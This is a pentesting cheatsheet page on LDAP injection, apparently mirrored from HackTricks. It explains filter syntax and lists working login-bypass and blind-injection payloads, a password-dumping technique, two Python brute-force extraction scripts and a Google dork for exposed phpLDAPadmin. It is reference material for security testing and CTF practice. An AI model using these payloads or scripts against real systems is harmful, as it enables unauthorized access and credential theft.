daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

ldap-injection.md (7066B)


      1 ---
      2 title: "LDAP Injection"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/ldap-injection.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/ldap-injection.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # LDAP Injection
     14 
     15 ## LDAP Injection
     16 
     17 ### **LDAP**
     18 
     19 **If you want to know what is LDAP access the following page:**
     20 
     21 [Pentesting Ldap](/hacktricks/network-services-pentesting/pentesting-ldap)
     22 
     23 **LDAP Injection** is an attack targeting web applications that construct LDAP statements from user input. It occurs when the application **fails to properly sanitize** input, allowing attackers to **manipulate LDAP statements** through a local proxy, potentially leading to unauthorized access or data manipulation.
     24 
     25 [En Blackhat Europe 2008 Ldap Injection Blind Ldap Injection.Pdf](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf)
     26 
     27 **Filter** = ( filtercomp )\
     28 **Filtercomp** = and / or / not / item\
     29 **And** = & filterlist\
     30 **Or** = |filterlist\
     31 **Not** = ! filter\
     32 **Filterlist** = 1\*filter\
     33 **Item**= simple / present / substring\
     34 **Simple** = attr filtertype assertionvalue\
     35 **Filtertype** = _'=' / '\~=' / '>=' / '<='_\
     36 **Present** = attr = \*\
     37 **Substring** = attr ”=” \[initial] \* \[final]\
     38 **Initial** = assertionvalue\
     39 **Final** = assertionvalue\
     40 **(&)** = Absolute TRUE\
     41 **(|)** = Absolute FALSE
     42 
     43 For example:\
     44 `(&(!(objectClass=Impresoras))(uid=s*))`\
     45 `(&(objectClass=user)(uid=*))`
     46 
     47 You can access to the database, and this can content information of a lot of different types.
     48 
     49 **OpenLDAP**: If 2 filters arrive, only executes the first one.\
     50 **ADAM or Microsoft LDS**: With 2 filters they throw an error.\
     51 **SunOne Directory Server 5.0**: Execute both filters.
     52 
     53 **It is very important to send the filter with correct syntax or an error will be thrown. It is better to send only 1 filter.**
     54 
     55 The filter has to start with: `&` or `|`\
     56 Example: `(&(directory=val1)(folder=public))`
     57 
     58 `(&(objectClass=VALUE1)(type=Epson*))`\
     59 `VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
     60 
     61 Then: `(&(objectClass=`**`*)(ObjectClass=*))`** will be the first filter (the one executed).
     62 
     63 ### Login Bypass
     64 
     65 LDAP supports several formats to store the password: clear, md5, smd5, sh1, sha, crypt. So, it could be that independently of what you insert inside the password, it is hashed.
     66 
     67 ```bash
     68 user=*
     69 password=*
     70 --> (&(user=*)(password=*))
     71 # The asterisks are great in LDAPi
     72 ```
     73 
     74 ```bash
     75 user=*)(&
     76 password=*)(&
     77 --> (&(user=*)(&)(password=*)(&))
     78 ```
     79 
     80 ```bash
     81 user=*)(|(&
     82 pass=pwd)
     83 --> (&(user=*)(|(&)(pass=pwd))
     84 ```
     85 
     86 ```bash
     87 user=*)(|(password=*
     88 password=test)
     89 --> (&(user=*)(|(password=*)(password=test))
     90 ```
     91 
     92 ```bash
     93 user=*))%00
     94 pass=any
     95 --> (&(user=*))%00 --> Nothing more is executed
     96 ```
     97 
     98 ```bash
     99 user=admin)(&)
    100 password=pwd
    101 --> (&(user=admin)(&))(password=pwd) #Can through an error
    102 ```
    103 
    104 ```bash
    105 username = admin)(!(&(|
    106 pass = any))
    107 --> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
    108 ```
    109 
    110 ```bash
    111 username=*
    112 password=*)(&
    113 --> (&(user=*)(password=*)(&))
    114 ```
    115 
    116 ```bash
    117 username=admin))(|(|
    118 password=any
    119 --> (&(uid=admin)) (| (|) (webpassword=any))
    120 ```
    121 
    122 #### Lists
    123 
    124 - [LDAP_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_FUZZ.txt)
    125 - [LDAP Attributes](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)
    126 - [LDAP PosixAccount attributes](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
    127 
    128 ### Blind LDAP Injection
    129 
    130 You may force False or True responses to check if any data is returned and confirm a possible Blind LDAP Injection:
    131 
    132 ```bash
    133 #This will result on True, so some information will be shown
    134 Payload: *)(objectClass=*))(&objectClass=void
    135 Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
    136 ```
    137 
    138 ```bash
    139 #This will result on True, so no information will be returned or shown
    140 Payload: void)(objectClass=void))(&objectClass=void
    141 Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
    142 ```
    143 
    144 #### Dump data
    145 
    146 You can iterate over the ascii letters, digits and symbols:
    147 
    148 ```bash
    149 (&(sn=administrator)(password=*))    : OK
    150 (&(sn=administrator)(password=A*))   : KO
    151 (&(sn=administrator)(password=B*))   : KO
    152 ...
    153 (&(sn=administrator)(password=M*))   : OK
    154 (&(sn=administrator)(password=MA*))  : KO
    155 (&(sn=administrator)(password=MB*))  : KO
    156 ...
    157 ```
    158 
    159 ### Scripts
    160 
    161 #### **Discover valid LDAP fields**
    162 
    163 LDAP objects **contains by default several attributes** that could be used to **save information**. You can try to **brute-force all of them to extract that info.** You can find a list of [**default LDAP attributes here**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt).
    164 
    165 ```python
    166 #!/usr/bin/python3
    167 import requests
    168 import string
    169 from time import sleep
    170 import sys
    171 
    172 proxy = { "http": "localhost:8080" }
    173 url = "http://10.10.10.10/login.php"
    174 alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
    175 
    176 attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
    177 
    178 for attribute in attributes: #Extract all attributes
    179     value = ""
    180     finish = False
    181     while not finish:
    182         for char in alphabet: #In each possition test each possible printable char
    183             query = f"*)({attribute}={value}{char}*"
    184             data = {'login':query, 'password':'bla'}
    185             r = requests.post(url, data=data, proxies=proxy)
    186             sys.stdout.write(f"\r{attribute}: {value}{char}")
    187             #sleep(0.5) #Avoid brute-force bans
    188             if "Cannot login" in r.text:
    189                 value += str(char)
    190                 break
    191 
    192             if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
    193                 finish = True
    194                 print()
    195 ```
    196 
    197 #### **Special Blind LDAP Injection (without "\*")**
    198 
    199 ```python
    200 #!/usr/bin/python3
    201 
    202 import requests, string
    203 alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
    204 
    205 flag = ""
    206 for i in range(50):
    207     print("[i] Looking for number " + str(i))
    208     for char in alphabet:
    209         r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
    210         if ("TRUE CONDITION" in r.text):
    211             flag += char
    212             print("[+] Flag: " + flag)
    213             break
    214 ```
    215 
    216 ### Google Dorks
    217 
    218 ```bash
    219 intitle:"phpLDAPadmin" inurl:cmd.php
    220 ```
    221 
    222 ### More Payloads
    223 
    224 [Ldap%20Injection](https%3A//github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%2520Injection)